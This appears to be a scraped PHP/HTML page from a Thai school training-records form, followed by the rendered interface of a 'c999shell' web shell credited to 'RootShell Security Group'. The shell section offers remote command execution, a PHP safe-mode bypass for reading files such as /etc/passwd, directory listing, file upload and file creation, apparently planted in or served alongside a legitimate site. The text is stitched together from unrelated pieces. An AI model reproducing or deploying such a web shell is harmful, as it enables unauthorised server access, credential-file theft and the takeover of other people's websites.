                        <td bgcolor="#FFFFFF"><textarea name="Apply" cols="50" rows="3" id="Apply" class="d"></textarea> 
                        <script>QBPATH='../editor'; VISUAL=1; SECURE=0;</script>
                         <script src='../editor/quickB.js'></script> 
                       <script src='../editor/tabedit.js'></script>                        </td>
                      </tr>
                      <tr bgcolor="#D2F49F" >
                        <td align="center" bgcolor="#FFFFFF">&nbsp;</td>
                        <td align="center" bgcolor="#FFFFFF">&nbsp;</td>
                        <td align="center" bgcolor="#FFFFFF">&nbsp;</td>
                      </tr>
                      <tr bgcolor="#D2F49F" >
                        <td height="25" align="center" bgcolor="#FFFFFF">&nbsp;</td>
                        <td height="25" align="center" bgcolor="#FFFFFF">&nbsp;</td>
                        <td height="25" align="left" bgcolor="#FFFFFF"><input type="hidden" name="Teacher_code" value="<?php echo $Teacher_code?>" />
                          <input type="hidden" name="page" value="<?php echo $page?>" />
                          <input name="StatusId" type="hidden" id="StatusId" value="<?php echo $StatusId?>" />
<input type="submit" name="Submit" value="บันทึก" class="CURSOR-HAND WIDTH60" />
                          &nbsp;
                          <input name="Reset" type="reset" id="Reset" value="รีเซ็ต" class="CURSOR-HAND WIDTH60" /> &nbsp;
                          &nbsp;<input name="Button" type="button" id="Reset" value="ยกเลิก" class="CURSOR-HAND WIDTH60" onclick="location.href='TrainingList.php?Teacher_code<?=$Teacher_code;?>&amp;page=<?=$page;?>'" /></td>
                </tr>
            </table></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr></form>
    </table>
   </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result1);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0138 ]--